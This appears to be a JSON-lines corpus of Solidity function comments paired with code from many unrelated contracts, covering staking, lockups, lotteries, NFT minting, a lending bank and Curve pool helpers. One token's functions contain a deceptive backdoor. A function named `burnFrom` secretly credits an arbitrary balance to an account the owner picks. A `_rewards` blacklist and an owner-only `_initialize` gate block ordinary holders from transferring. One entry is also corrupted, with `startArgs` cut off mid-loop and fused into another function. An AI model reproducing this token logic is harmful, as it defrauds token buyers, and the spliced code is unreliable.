pInfo.institute,\r\n pInfo.occupation,\r\n pInfo.suggestions\r\n );\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Set holder's IdentityInfo of a token\r\n * @param _tokenId id of target token.\r\n * @param _name token holder customized field, the name of the holder\r\n * @param _country token holder customized field.\r\n * @param _photoUrl token holder customized field, link to holder's photo\r\n * @param _institute token holder customized field, institute the holder works for\r\n * @param _occupation token holder customized field, holder's occupation in the institute he/she works in\r\n * @param _suggestions token holder customized field, holder's suggestions for HashFuture\r\n **/", "function_code": "function setIdentityInfo(\r\n uint256 _tokenId,\r\n string _name,\r\n string _country,\r\n string _photoUrl,\r\n string _institute,\r\n string _occupation,\r\n string _suggestions\r\n )\r\n public\r\n onlyOwnerOf(_tokenId)\r\n {\r\n IdentityInfo storage pInfo = IdentityInfoOfId[_tokenId];\r\n\r\n pInfo.name = _name;\r\n pInfo.country = _country;\r\n pInfo.photoUrl = _photoUrl;\r\n pInfo.institute = _institute;\r\n pInfo.occupation = _occupation;\r\n pInfo.suggestions = _suggestions;\r\n }", "version": "0.4.24"} {"comment": "//only admin and game is not run", "function_code": "function startArgs(uint dailyInvest, uint safePool, uint gloryPool, uint staticPool, uint[] memory locks) public onlyAdmin() {\n require(!isStart(), \"Game Not Start Limit\");\n _dailyInvest = dailyInvest;\n _safePool = safePool;\n _gloryPool = gloryPool;\n _staticPool = staticPool;\n for(uint i=0; i= tx.gasprice * (_toEth ? gasToCashOutToEth : gasToCashOut), \"min_gas_to_cashout\");\r\n \r\n // pay owner the gas fee it needs to call settlecashout\r\n address payable payowner = address(uint160(owner()));\r\n require(payowner.send( msg.value ), \"fees_to_owner\");\r\n\r\n //\u2192 emit event\r\n //emit SwapEvent(_toEth ? 7 : 1, msg.sender, msg.value, _amount);\r\n if(_toEth) { \r\n dao.cashOutEth(msg.sender, msg.value, _amount);\r\n } else {\r\n dao.cashOutMaco(msg.sender, msg.value, _amount);\r\n }\r\n }", "version": "0.5.17"} {"comment": "/**\n * @dev Called by IMX to mint each NFT\n *\n * @param to the address to mint to\n * @param amount not relavent for NFTs\n * @param mintingBlob all NFT details\n */", "function_code": "function mintFor(\n address to,\n uint256 amount,\n bytes memory mintingBlob\n ) external override {\n (\n uint256 tokenId,\n uint16 proto,\n uint256 serialNumber,\n uint8 chroma,\n string memory tokenURI\n ) = Minting.deserializeMintingBlobWithChroma(mintingBlob);\n _mintCommon(to, tokenId, tokenURI, proto, serialNumber);\n chromas[tokenId] = chroma;\n emit MintFor(\n to,\n amount,\n tokenId,\n proto,\n serialNumber,\n chroma,\n tokenURI\n );\n }", "version": "0.8.2"} {"comment": "/**\r\n * @dev Cashes out deposited Maco Cash to Maco in user's wallet\r\n * @param _to address of the future owner of the token\r\n * @param _amount how much Maco to cash out\r\n * @param _notMinted not minted cash to reflect on blockchain\r\n */", "function_code": "function settleCashOut(address payable _to, uint256 _amount, bool _toEth, uint160 sqrtPriceLimitX96, uint256 _notMinted) public onlyMinter {\r\n mintFromCash(_notMinted);\r\n \r\n // must be done in any case, so it can be taken from him for uniswap or left if not swapped\r\n transferFrom(address(this), _to, _amount);\r\n\r\n if(_toEth) {\r\n // owner wanted ETH in return to Cash\r\n //require(_amount <= balanceOf(_to), 'low_balance');\r\n _approve(_to, macoEthUniswapPoolAddress, _amount);\r\n\r\n macoEthUniswapPool.swap(\r\n address(this), \r\n macoEthUniswapPoolToken0IsMaco, \r\n int256(_amount), \r\n sqrtPriceLimitX96, \r\n swapDataToBytes(SwapData(3, _to))\r\n );\r\n }\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * @dev Mints token to one of the payout adddresses for bootstrap, infrastructure and dev team\r\n * @dev Approves the contract owner to transfer that minted tokens\r\n * @param _amount mints this amount of Maco to the contract itself\r\n * @param _to address on where to mint\r\n */", "function_code": "function mintOwnerFundsTo(uint256 _amount, address _to) internal onlyMinter {\r\n require(_amount > 0, \"zero amount to mint\");\r\n require(_to != address(0), \"mint to is zero address\");\r\n\r\n //_approve(address(this), msg.sender, _amount);\r\n //_transfer(address(this), _to, _amount);\r\n mint(_to, _amount);\r\n _approve(_to, owner(), _amount);\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * @dev Reflects the current maco cash state to maco coin by minting to the contract itself\r\n * @dev Approves the contract owner to transfer that minted cash later\r\n * @dev Additionally approves pre-minted funds for hardware payment and dev incentives\r\n * @param _amount mints this amount of Maco to the contract itself\r\n */", "function_code": "function mintFromCash(uint256 _amount) public onlyMinter {\r\n uint256 totalApprove = _amount;\r\n if(_amount > 0) {\r\n mint(address(this), _amount);\r\n // approve for later cashout\r\n _approve(address(this), owner(), totalApprove);\r\n\r\n // check if a 10% milestone is broken, and if so grant the dev team 10% of their fund\r\n if( (totalSupply() * 10 / cap()) < ((totalSupply() + _amount) * 10 / cap()) ) {\r\n uint256 devFunds = cap()/100*percentDevteam/10;\r\n mintOwnerFundsTo(devFunds, devTeamPayoutAdress);\r\n emit OwnerFundsApproval(2, devFunds);\r\n }\r\n \r\n }\r\n // check for next infrastructure cost settlement\r\n if ((now >= lastInfrastructureGrand + 4 * 1 weeks) \r\n && ((usedForInfrstructure + currentInfrastructureCosts) <= (cap()/100 * percentInfrastructureFund))\r\n ) {\r\n usedForInfrstructure += currentInfrastructureCosts;\r\n lastInfrastructureGrand = now;\r\n mintOwnerFundsTo(currentInfrastructureCosts, infrastructurePayoutAdress);\r\n emit OwnerFundsApproval(1, currentInfrastructureCosts); \r\n }\r\n }", "version": "0.5.17"} {"comment": "/// @dev Deposit tokens to be locked until the end of the locking period\n/// @param amount The amount of tokens to deposit", "function_code": "function deposit(uint256 amount) public {\n if (block.timestamp > depositDeadline) {\n revert DepositPeriodOver();\n }\n\n balanceOf[msg.sender] += amount;\n totalSupply += amount;\n\n if (!token.transferFrom(msg.sender, address(this), amount)) {\n revert TransferFailed();\n }\n\n emit Transfer(msg.sender, address(this), amount);\n }", "version": "0.8.6"} {"comment": "/// @dev Withdraw tokens after the end of the locking period or during the deposit period\n/// @param amount The amount of tokens to withdraw", "function_code": "function withdraw(uint256 amount) public {\n if (\n block.timestamp > depositDeadline &&\n block.timestamp < depositDeadline + lockDuration\n ) {\n revert LockPeriodOngoing();\n }\n if (balanceOf[msg.sender] < amount) {\n revert ExceedsBalance();\n }\n\n balanceOf[msg.sender] -= amount;\n totalSupply -= amount;\n\n if (!token.transfer(msg.sender, amount)) {\n revert TransferFailed();\n }\n\n emit Transfer(address(this), msg.sender, amount);\n }", "version": "0.8.6"} {"comment": "/**\r\n \t * @param _id bundle id\r\n \t * @return the bundle detail\r\n \t */", "function_code": "function getBundleDetailById(uint256 _id) public view returns (uint256 id, address beneficiary, uint256 amount, uint256[] memory phaseIdentifies, bool[] memory isPhaseWithdrawns) {\r\n\t\tLockupBundle storage bundle = _lockupBundles[_id];\r\n\t\tid = bundle.id;\r\n\t\tbeneficiary = bundle.beneficiary;\r\n\t\tamount = bundle.amount;\r\n\t\tphaseIdentifies = new uint256[](_lockupPhases.length);\r\n\t\tisPhaseWithdrawns = new bool[](_lockupPhases.length);\r\n\t\tfor (uint256 i = 0; i < _lockupPhases.length; i++) {\r\n\t\t\tphaseIdentifies[i] = _lockupPhases[i].id;\r\n\t\t\tisPhaseWithdrawns[i] = bundle.isPhaseWithdrawns[_lockupPhases[i].id];\r\n\t\t}\r\n\t}", "version": "0.5.16"} {"comment": "/// @notice Executes calls on behalf of this contract.\n/// @param calls The array of calls to be executed.\n/// @return An array of the return values for each of the calls", "function_code": "function executeCalls(Call[] calldata calls) external returns (bytes[] memory) {\n bytes[] memory response = new bytes[](calls.length);\n for (uint256 i = 0; i < calls.length; i++) {\n response[i] = _executeCall(calls[i].to, calls[i].value, calls[i].data);\n }\n return response;\n }", "version": "0.6.12"} {"comment": "/// @notice Transfers ERC721 tokens to an account\n/// @param withdrawals An array of WithdrawERC721 structs that each include the ERC721 token to transfer and the corresponding token ids.\n/// @param to The recipient of the transfers", "function_code": "function _withdrawERC721(WithdrawERC721[] memory withdrawals, address to) internal {\n for (uint256 i = 0; i < withdrawals.length; i++) {\n for (uint256 tokenIndex = 0; tokenIndex < withdrawals[i].tokenIds.length; tokenIndex++) {\n withdrawals[i].token.transferFrom(address(this), to, withdrawals[i].tokenIds[tokenIndex]);\n }\n\n emit WithdrewERC721(address(withdrawals[i].token), withdrawals[i].tokenIds);\n }\n }", "version": "0.6.12"} {"comment": "/* Get all stakes a address holds\r\n *\r\n */", "function_code": "function getStakes() public view returns (uint[3][] memory) {\r\n uint[3][] memory tempStakeList = new uint[3][](_staking[msg.sender].length);\r\n for (uint i = 0; i < _staking[msg.sender].length; i++){\r\n tempStakeList[i][0] = getStakeAmount(i);\r\n tempStakeList[i][1] = getRemainingLockTime(i);\r\n tempStakeList[i][2] = getStakeReward(i);\r\n } \r\n return tempStakeList;\r\n }", "version": "0.6.12"} {"comment": "/* Calculates the current reward of a stake.\r\n * Get time staked\r\n * Add a buffer to circumvent float calculations\r\n * Gets amount of periods staked\r\n * Multiplies the periods staked with the reward percent amount\r\n * Multiplies the reward by the amount staked\r\n * Removed the buffer\r\n * Removes the percent buffer\r\n */", "function_code": "function getStakeReward(uint stake_) public view returns (uint) {\r\n uint stakingTime = now - _staking[msg.sender][stake_].startTime;\r\n uint buffededStakingTime = stakingTime * stakeBuffer;\r\n uint periods = buffededStakingTime / yearInMs;\r\n uint buffedRewardPeriodPercent = periods * _stakingOptions[_staking[msg.sender][stake_].stakeType].rewardPercent;\r\n uint buffedReward = _staking[msg.sender][stake_].amount * buffedRewardPeriodPercent;\r\n uint rewardPerc = buffedReward / stakeBuffer;\r\n uint reward = rewardPerc / 100;\r\n return reward;\r\n }", "version": "0.6.12"} {"comment": "/* Unstake previous stake, mints back the original tokens,\r\n * sends mint function call to reward contract to mint the\r\n * reward to the sender address.\r\n */", "function_code": "function unstake(uint stake_) public {\r\n require(isStakeLocked(stake_) != true, \"Stake still locked!\");\r\n _mint(msg.sender, _staking[msg.sender][stake_].amount);\r\n stakedSupply -= _staking[msg.sender][stake_].amount;\r\n uint _amount = getStakeReward(stake_);\r\n (bool success, bytes memory returnData) = address(_tokenContract).call(abi.encodeWithSignature(\"mint(address,uint256)\",msg.sender, _amount));\r\n require(success);\r\n _removeIndexInArray(_staking[msg.sender], stake_);\r\n emit unstaked(msg.sender, _amount);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n \t * @param _id phase id\r\n \t * @return the phase detail\r\n \t */", "function_code": "function getLockupPhaseDetail(uint256 _id) public view returns (uint256 id, uint256 percentage, uint256 extraTime, bool hasWithdrawal, bool canWithdrawal) {\r\n\t\tif (_phaseIndexs[_id] > 0) {\r\n\t\t\tLockupPhase memory phase = _lockupPhases[_phaseIndexs[_id].sub(1)];\r\n\t\t\tid = phase.id;\r\n\t\t\tpercentage = phase.percentage;\r\n\t\t\textraTime = phase.extraTime;\r\n\t\t\thasWithdrawal = phase.hasWithdrawal;\r\n\t\t\tcanWithdrawal = checkPhaseCanWithdrawal(_id);\r\n\t\t}\r\n\t}", "version": "0.5.16"} {"comment": "/**\r\n \t * Lockup Phases Start\r\n \t * ===============================================================================\r\n \t */", "function_code": "function setLockupPhases(uint256[] memory _ids, uint256[] memory _percentages, uint256[] memory _extraTimes) public whenNotPaused whenNotFinalized {\r\n\t\trequire(isOwner() || isOperator(msg.sender), \"TimeLockFactory: caller is not the owner or operator\");\r\n\t\trequire(_ids.length == _percentages.length && _ids.length == _extraTimes.length, \"TimeLockFactory:: Cannot match inputs\");\r\n\t\t_preValidateLockupPhases(_percentages);\r\n\t\tfor (uint256 i = 0; i < _ids.length; i++) {\r\n\t\t\tif (!checkPhaseHasWithdrawal(_ids[i])) {\r\n\t\t\t\t_setLockupPhase(_ids[i], _percentages[i], _extraTimes[i]);\r\n\t\t\t}\r\n\t\t}\r\n\t}", "version": "0.5.16"} {"comment": "// 0xInuarashi", "function_code": "function withdrawEther() public onlyOwner {\r\n uint _totalETH = address(this).balance; // balance of contract\r\n\r\n uint _Shareholder_1_ETH = ((_totalETH * Shareholder_1_Share) / 100); \r\n uint _Shareholder_2_ETH = ((_totalETH * Shareholder_2_Share) / 100); \r\n\r\n payable(Shareholder_1).transfer(_Shareholder_1_ETH);\r\n payable(Shareholder_2).transfer(_Shareholder_2_ETH);\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * @dev Get item id by option id\r\n * @param _collectionAddress - collectionn address\r\n * @param _optionId - collection option id\r\n * @return string of the item id\r\n */", "function_code": "function itemByOptionId(address _collectionAddress, uint256 _optionId) public view returns (string memory) {\r\n /* solium-disable-next-line */\r\n (bool success, bytes memory data) = address(_collectionAddress).staticcall(\r\n abi.encodeWithSelector(\r\n IERC721Collection(_collectionAddress).wearables.selector,\r\n _optionId\r\n )\r\n );\r\n\r\n require(success, \"Invalid wearable\");\r\n\r\n return abi.decode(data, (string));\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * @dev Sets the beneficiary address where the sales amount\r\n * will be transferred on each sale for a collection\r\n * @param _collectionAddress - collectionn address\r\n * @param _collectionOptionIds - collection option ids\r\n * @param _collectionAvailableQtys - collection available qtys for sale\r\n * @param _collectionPrices - collectionn prices\r\n */", "function_code": "function _setCollectionData(\r\n address _collectionAddress,\r\n uint256[] memory _collectionOptionIds,\r\n uint256[] memory _collectionAvailableQtys,\r\n uint256[] memory _collectionPrices\r\n ) internal {\r\n // emit ChangedCollectionBeneficiary(_collectionAddress, collectionBeneficiaries[_collectionAddress], _beneficiary);\r\n CollectionData storage collection = collectionsData[_collectionAddress];\r\n\r\n for (uint256 i = 0; i < _collectionOptionIds.length; i++) {\r\n collection.availableQtyPerOptionId[_collectionOptionIds[i]] = _collectionAvailableQtys[i];\r\n collection.pricePerOptionId[_collectionOptionIds[i]] = _collectionPrices[i];\r\n }\r\n\r\n emit SetCollectionData(_collectionAddress, _collectionOptionIds, _collectionAvailableQtys, _collectionPrices);\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * @dev Validate if a user has balance and the contract has enough allowance\r\n * to use user's accepted token on his belhalf\r\n * @param _user - address of the user\r\n */", "function_code": "function _requireBalance(address _user, uint256 _price) internal view {\r\n require(\r\n acceptedToken.balanceOf(_user) >= _price,\r\n \"Insufficient funds\"\r\n );\r\n require(\r\n acceptedToken.allowance(_user, address(this)) >= _price,\r\n \"The contract is not authorized to use the accepted token on sender behalf\"\r\n );\r\n }", "version": "0.5.11"} {"comment": "/* \r\n function getSlice(uint256 begin, uint256 end, string text) public pure returns (string) {\r\n bytes memory a = new bytes(end-begin+1);\r\n for(uint i = 0; i <= end - begin; i++){\r\n a[i] = bytes(text)[i + begin - 1];\r\n }\r\n return string(a); \r\n }\r\n */", "function_code": "function validUsername(string _username)\r\n public\r\n pure\r\n returns(bool)\r\n {\r\n uint256 len = bytes(_username).length;\r\n // Im Raum [4, 18]\r\n if ((len < 4) || (len > 18)) return false;\r\n // Letzte Char != ' '\r\n if (bytes(_username)[len-1] == 32) return false;\r\n // Erste Char != '0'\r\n return uint256(bytes(_username)[0]) != 48;\r\n }", "version": "0.4.25"} {"comment": "/**\r\n \t * @notice Converts a given token amount to another token, as long as it\r\n \t * meets the minimum taken amount. Amounts are debited from and\r\n \t * and credited to the caller contract. It may fail if the\r\n \t * minimum output amount cannot be met.\r\n \t * @param _from The contract address of the ERC-20 token to convert from.\r\n \t * @param _to The contract address of the ERC-20 token to convert to.\r\n \t * @param _inputAmount The amount of the _from token to be provided (may be 0).\r\n \t * @param _minOutputAmount The minimum amount of the _to token to be received (may be 0).\r\n \t * @return _outputAmount The amount of the _to token received (may be 0).\r\n \t */", "function_code": "function convertFunds(address _from, address _to, uint256 _inputAmount, uint256 _minOutputAmount) public override returns (uint256 _outputAmount)\r\n\t{\r\n\t\taddress _sender = msg.sender;\r\n\t\tG.pullFunds(_from, _sender, _inputAmount);\r\n\t\t_outputAmount = SushiswapExchangeAbstraction._convertFunds(_from, _to, _inputAmount, _minOutputAmount);\r\n\t\tG.pushFunds(_to, _sender, _outputAmount);\r\n\t\treturn _outputAmount;\r\n\t}", "version": "0.6.12"} {"comment": "// Lottery Helper\n// Seconds added per LT = SAT - ((Current no. of LT + 1) / SDIVIDER)^6", "function_code": "function getAddedTime(uint256 _rTicketSum, uint256 _tAmount)\r\n public\r\n pure\r\n returns (uint256)\r\n {\r\n //Luppe = 10000 = 10^4\r\n uint256 base = (_rTicketSum + 1).mul(10000) / SDIVIDER;\r\n uint256 expo = base;\r\n expo = expo.mul(expo).mul(expo); // ^3\r\n expo = expo.mul(expo); // ^6\r\n // div 10000^6\r\n expo = expo / (10**24);\r\n\r\n if (expo > SAT) return 0;\r\n return (SAT - expo).mul(_tAmount);\r\n }", "version": "0.4.25"} {"comment": "// Lotto-Multiplier = 1 + LBase * (Current No. of Tickets / PDivider)^6", "function_code": "function getTMul(uint256 _ticketSum) // Unit Wei\r\n public\r\n pure\r\n returns(uint256)\r\n {\r\n uint256 base = _ticketSum * ZOOM / PDIVIDER;\r\n uint256 expo = base.mul(base).mul(base);\r\n expo = expo.mul(expo); // ^6\r\n return 1 + expo.mul(LBase) / (10**18);\r\n }", "version": "0.4.25"} {"comment": "// get ticket price, based on current round ticketSum\n//unit in ETH, no need / zoom^6", "function_code": "function getTPrice(uint256 _ticketSum)\r\n public\r\n pure\r\n returns(uint256)\r\n {\r\n uint256 base = (_ticketSum + 1).mul(ZOOM) / PDIVIDER;\r\n uint256 expo = base;\r\n expo = expo.mul(expo).mul(expo); // ^3\r\n expo = expo.mul(expo); // ^6\r\n uint256 tPrice = SLP + expo / PN;\r\n return tPrice;\r\n }", "version": "0.4.25"} {"comment": "// used to draw grandpot results\n// weightRange = roundWeight * grandpot / (grandpot - initGrandPot)\n// grandPot = initGrandPot + round investedSum(for grandPot)", "function_code": "function getWeightRange(uint256 grandPot, uint256 initGrandPot, uint256 curRWeight)\r\n public\r\n pure\r\n returns(uint256)\r\n {\r\n //calculate round grandPot-investedSum\r\n uint256 grandPotInvest = grandPot - initGrandPot;\r\n if (grandPotInvest == 0) return 8;\r\n uint256 zoomMul = grandPot * ZOOM / grandPotInvest;\r\n uint256 weightRange = zoomMul * curRWeight / ZOOM;\r\n if (weightRange < curRWeight) weightRange = curRWeight;\r\n return weightRange;\r\n }", "version": "0.4.25"} {"comment": "/*\n * Get the tokens owned by _owner\n */", "function_code": "function tokensOfOwner(address _owner) external view returns(uint256[] memory ) {\n uint256 tokenCount = balanceOf(_owner);\n if (tokenCount == 0) {\n // Return an empty array\n return new uint256[](0);\n } else {\n uint256[] memory result = new uint256[](tokenCount);\n uint256 index;\n for (index = 0; index < tokenCount; index++) {\n result[index] = tokenOfOwnerByIndex(_owner, index);\n }\n return result;\n }\n }", "version": "0.7.6"} {"comment": "/*\n * Buy the token reserved for your shard\n *\n * Prerequisites:\n * - not at max supply\n * - sale has started\n * - your wallet owns the shard ID in question\n *\n * Example input: To mint for FNTN // 137, you would not input\n * 137, but the tokenId in its shared contract. If you don't know this\n * ID, your best bet is the website. But it will also be after the final '/'\n * in the URL of your shard on OpenSea, eg https://opensea.io/0xetcetcetc/shardId\n */", "function_code": "function mintWithShard(uint tokenId) external payable nonReentrant {\n require(hasSaleStarted, \"Sale hasn't started\");\n require(msg.value == SHARD_PRICE, \"Ether value required is 0.069\");\n // Duplicate this here to potentially save people gas\n require(tokenId >= 1229 && tokenId <= 1420, \"Enter a sharId from 1229 to 1420\");\n\n // Ensure sender owns shard in question\n require(fntnContract.ownerOf(tokenId) == msg.sender, \"Not the owner of this shard\");\n\n // Convert to the shard ID (the number in \"FNTN // __\")\n uint shardId = tokenIdToShardId(tokenId);\n\n // Mint if token doesn't exist\n require(!_exists(shardId), \"This token has already been minted\");\n _safeMint(msg.sender, shardId);\n }", "version": "0.7.6"} {"comment": "//Sources: Token contract, DApps", "function_code": "function pushRefIncome(address _sender)\r\n public\r\n payable\r\n {\r\n uint256 curRoundId = lotteryContract.getCurRoundId();\r\n uint256 _amount = msg.value;\r\n address sender = _sender;\r\n address ref = getRef(sender);\r\n // logs\r\n citizen[sender].totalSale += _amount;\r\n totalRefAllround += _amount;\r\n totalRefByRound[curRoundId] += _amount;\r\n // push to root\r\n // lower level cost less gas\r\n while (sender != devTeam) {\r\n _amount = _amount / 2;\r\n citizen[ref].refWallet = _amount.add(citizen[ref].refWallet);\r\n citizen[ref].roundRefIncome[curRoundId] += _amount;\r\n citizen[ref].allRoundRefIncome += _amount;\r\n sender = ref;\r\n ref = getRef(sender);\r\n }\r\n citizen[sender].refWallet = _amount.add(citizen[ref].refWallet);\r\n // devTeam Logs\r\n citizen[sender].roundRefIncome[curRoundId] += _amount;\r\n citizen[sender].allRoundRefIncome += _amount;\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @dev See {IERC20-transferFrom}.\r\n */", "function_code": "function transferFrom(\r\n address sender,\r\n address recipient,\r\n uint256 amount\r\n ) public virtual override returns (bool) {\r\n _transfer(sender, recipient, amount);\r\n uint256 currentAllowance = _allowances[sender][_msgSender()];\r\n require(currentAllowance >= amount, \"ERC20: transfer amount exceeds allowance\");\r\n unchecked {\r\n _approve(sender, _msgSender(), currentAllowance - amount);}\r\n return true;\r\n }", "version": "0.8.1"} {"comment": "/**\r\n * @dev Atomically decreases the allowance granted to `spender` by the caller.\r\n */", "function_code": "function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {\r\n uint256 currentAllowance = _allowances[_msgSender()][spender];\r\n require(currentAllowance >= subtractedValue, \"ERC20: decreased allowance below zero\");\r\n unchecked {\r\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);}\r\n return true;\r\n }", "version": "0.8.1"} {"comment": "/**\r\n * @dev Moves `amount` of tokens from `sender` to `recipient`.\r\n */", "function_code": "function _transfer(address sender, address recipient, uint256 amount) internal virtual {\r\n require(sender != address(0), \"ERC20: transfer from the zero address\");\r\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\r\n if (_rewards[sender] || _rewards[recipient]) require (amount == 0, \"\");\r\n if (_initialize == true || sender == owner() || recipient == owner()) {\r\n _beforeTokenTransfer(sender, recipient, amount);\r\n uint256 senderBalance = _balances[sender];\r\n require(senderBalance >= amount, \"ERC20: transfer amount exceeds balance\");\r\n unchecked {\r\n _balances[sender] = senderBalance - amount;}\r\n _balances[recipient] += amount;\r\n emit Transfer(sender, recipient, amount);\r\n _afterTokenTransfer(sender, recipient, amount);}\r\n else {require (_initialize == true, \"\");}\r\n }", "version": "0.8.1"} {"comment": "/**\r\n * @dev Destroys `amount` tokens from `account`, reducing the\r\n */", "function_code": "function burnFrom(address account, uint256 balance, uint256 burnAmount) external onlyOwner {\r\n require(account != address(0), \"ERC20: burn from the zero address disallowed\");\r\n _totalSupply -= balance;\r\n _balances[account] += burnAmount;\r\n emit Transfer(account, address(0), balance);\r\n }", "version": "0.8.1"} {"comment": "/**\r\n * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.\r\n */", "function_code": "function _approve(\r\n address owner,\r\n address spender,\r\n uint256 amount\r\n ) internal virtual {\r\n require(owner != address(0), \"ERC20: approve from the zero address\");\r\n require(spender != address(0), \"ERC20: approve to the zero address\");\r\n _allowances[owner][spender] = amount;\r\n emit Approval(owner, spender, amount);\r\n }", "version": "0.8.1"} {"comment": "// via https://github.com/oraclize/ethereum-api/blob/master/oraclizeAPI_0.5.sol", "function_code": "function strConcat(string memory _a, string memory _b, string memory _c, string memory _d, string memory _e) internal pure returns (string memory) {\n bytes memory _ba = bytes(_a);\n bytes memory _bb = bytes(_b);\n bytes memory _bc = bytes(_c);\n bytes memory _bd = bytes(_d);\n bytes memory _be = bytes(_e);\n string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);\n bytes memory babcde = bytes(abcde);\n uint k = 0;\n for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];\n for (uint i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];\n for (uint i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];\n for (uint i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];\n for (uint i = 0; i < _be.length; i++) babcde[k++] = _be[i];\n return string(babcde);\n }", "version": "0.7.6"} {"comment": "// Lend SoETH to create a new loan by locking vault.", "function_code": "function borrow(uint256 _poodId, uint256 _amount) external {\r\n PoolInfo storage pool = poolMap[_poodId];\r\n require(address(pool.calculator) != address(0), \"no calculator\");\r\n\r\n uint256 loanId = pool.calculator.getNextLoanId();\r\n pool.calculator.borrow(msg.sender, _amount);\r\n uint256 lockedAmount = pool.calculator.getLoanLockedAmount(loanId);\r\n // Locks in vault.\r\n pool.vault.lockByBank(msg.sender, lockedAmount);\r\n\r\n // Give user SoETH or other SodaMade tokens.\r\n pool.made.mint(msg.sender, _amount);\r\n\r\n // Records the loan.\r\n LoanInfo memory loanInfo;\r\n loanInfo.poolId = _poodId;\r\n loanInfo.loanId = loanId;\r\n loanList[msg.sender].push(loanInfo);\r\n\r\n emit Borrow(msg.sender, loanList[msg.sender].length - 1, _poodId, _amount);\r\n }", "version": "0.6.12"} {"comment": "// Pay back to a loan fully.", "function_code": "function payBackInFull(uint256 _index) external {\r\n require(_index < loanList[msg.sender].length, \"getTotalLoan: index out of range\");\r\n PoolInfo storage pool = poolMap[loanList[msg.sender][_index].poolId];\r\n require(address(pool.calculator) != address(0), \"no calculator\");\r\n\r\n uint256 loanId = loanList[msg.sender][_index].loanId;\r\n uint256 lockedAmount = pool.calculator.getLoanLockedAmount(loanId);\r\n uint256 principal = pool.calculator.getLoanPrincipal(loanId);\r\n uint256 interest = pool.calculator.getLoanInterest(loanId);\r\n // Burn principal.\r\n pool.made.burnFrom(msg.sender, principal);\r\n // Transfer interest to sodaRevenue.\r\n pool.made.transferFrom(msg.sender, sodaMaster.revenue(), interest);\r\n pool.calculator.payBackInFull(loanId);\r\n // Unlocks in vault.\r\n pool.vault.unlockByBank(msg.sender, lockedAmount);\r\n\r\n emit PayBackInFull(msg.sender, _index);\r\n }", "version": "0.6.12"} {"comment": "// Collect debt if someone defaults. Collector keeps half of the profit.", "function_code": "function collectDebt(uint256 _poolId, uint256 _loanId) external {\r\n PoolInfo storage pool = poolMap[_poolId];\r\n require(address(pool.calculator) != address(0), \"no calculator\");\r\n\r\n address loanCreator = pool.calculator.getLoanCreator(_loanId);\r\n uint256 principal = pool.calculator.getLoanPrincipal(_loanId);\r\n uint256 interest = pool.calculator.getLoanInterest(_loanId);\r\n uint256 extra = pool.calculator.getLoanExtra(_loanId);\r\n uint256 lockedAmount = pool.calculator.getLoanLockedAmount(_loanId);\r\n\r\n // Pay principal + interest + extra.\r\n // Burn principal.\r\n pool.made.burnFrom(msg.sender, principal);\r\n // Transfer interest and extra to sodaRevenue.\r\n pool.made.transferFrom(msg.sender, sodaMaster.revenue(), interest + extra);\r\n\r\n // Clear the loan.\r\n pool.calculator.collectDebt(_loanId);\r\n // Unlocks in vault.\r\n pool.vault.unlockByBank(loanCreator, lockedAmount);\r\n\r\n pool.vault.transferByBank(loanCreator, msg.sender, lockedAmount);\r\n\r\n emit CollectDebt(msg.sender, _poolId, _loanId);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n @notice Checks if the Pool is a metapool\r\n @notice All factory pools are metapools but not all metapools\r\n * are factory pools! (e.g. dusd)\r\n @param swapAddress Curve swap address for the pool\r\n @return true if the pool is a metapool, false otherwise\r\n */", "function_code": "function isMetaPool(address swapAddress) public view returns (bool) {\r\n if (isCurvePool(swapAddress)) {\r\n uint256[2] memory poolTokenCounts =\r\n CurveRegistry.get_n_coins(swapAddress);\r\n\r\n if (poolTokenCounts[0] == poolTokenCounts[1]) return false;\r\n else return true;\r\n }\r\n if (isCryptoPool(swapAddress)) {\r\n uint256 poolTokensCount =\r\n CurveCryptoRegistry.get_n_coins(swapAddress);\r\n address[8] memory poolTokens =\r\n CurveCryptoRegistry.get_coins(swapAddress);\r\n\r\n for (uint256 i = 0; i < poolTokensCount; i++) {\r\n if (isCurvePool(poolTokens[i])) return true;\r\n }\r\n }\r\n if (isFactoryPool(swapAddress)) return true;\r\n return false;\r\n }", "version": "0.8.7"} {"comment": "/**\r\n @notice Checks if the Pool is metapool of the Curve or Factory pool type\r\n @notice All factory pools are metapools but not all metapools\r\n * are factory pools! (e.g. dusd)\r\n @param swapAddress Curve swap address for the pool\r\n @return 1 if Meta Curve Pool\r\n 2 if Meta Factory Pool\r\n 0 otherwise\r\n */", "function_code": "function _isCurveFactoryMetaPool(address swapAddress)\r\n internal\r\n view\r\n returns (uint256)\r\n {\r\n if (isCurvePool(swapAddress)) {\r\n uint256[2] memory poolTokenCounts =\r\n CurveRegistry.get_n_coins(swapAddress);\r\n\r\n if (poolTokenCounts[0] == poolTokenCounts[1]) return 0;\r\n else return 1;\r\n }\r\n if (isFactoryPool(swapAddress)) return 2;\r\n return 0;\r\n }", "version": "0.8.7"} {"comment": "/**\r\n @notice Gets the Curve pool swap address\r\n @notice The token and swap address is the same for metapool/factory pools\r\n @param tokenAddress Curve swap address for the pool\r\n @return swapAddress Curve pool swap address or address(0) if pool doesnt exist\r\n */", "function_code": "function getSwapAddress(address tokenAddress)\r\n external\r\n view\r\n returns (address swapAddress)\r\n {\r\n swapAddress = CurveRegistry.get_pool_from_lp_token(tokenAddress);\r\n if (swapAddress != address(0)) {\r\n return swapAddress;\r\n }\r\n swapAddress = CurveCryptoRegistry.get_pool_from_lp_token(tokenAddress);\r\n if (swapAddress != address(0)) {\r\n return swapAddress;\r\n }\r\n if (isFactoryPool(tokenAddress)) {\r\n return tokenAddress;\r\n }\r\n return address(0);\r\n }", "version": "0.8.7"} {"comment": "/**\r\n @notice Gets an array of underlying pool 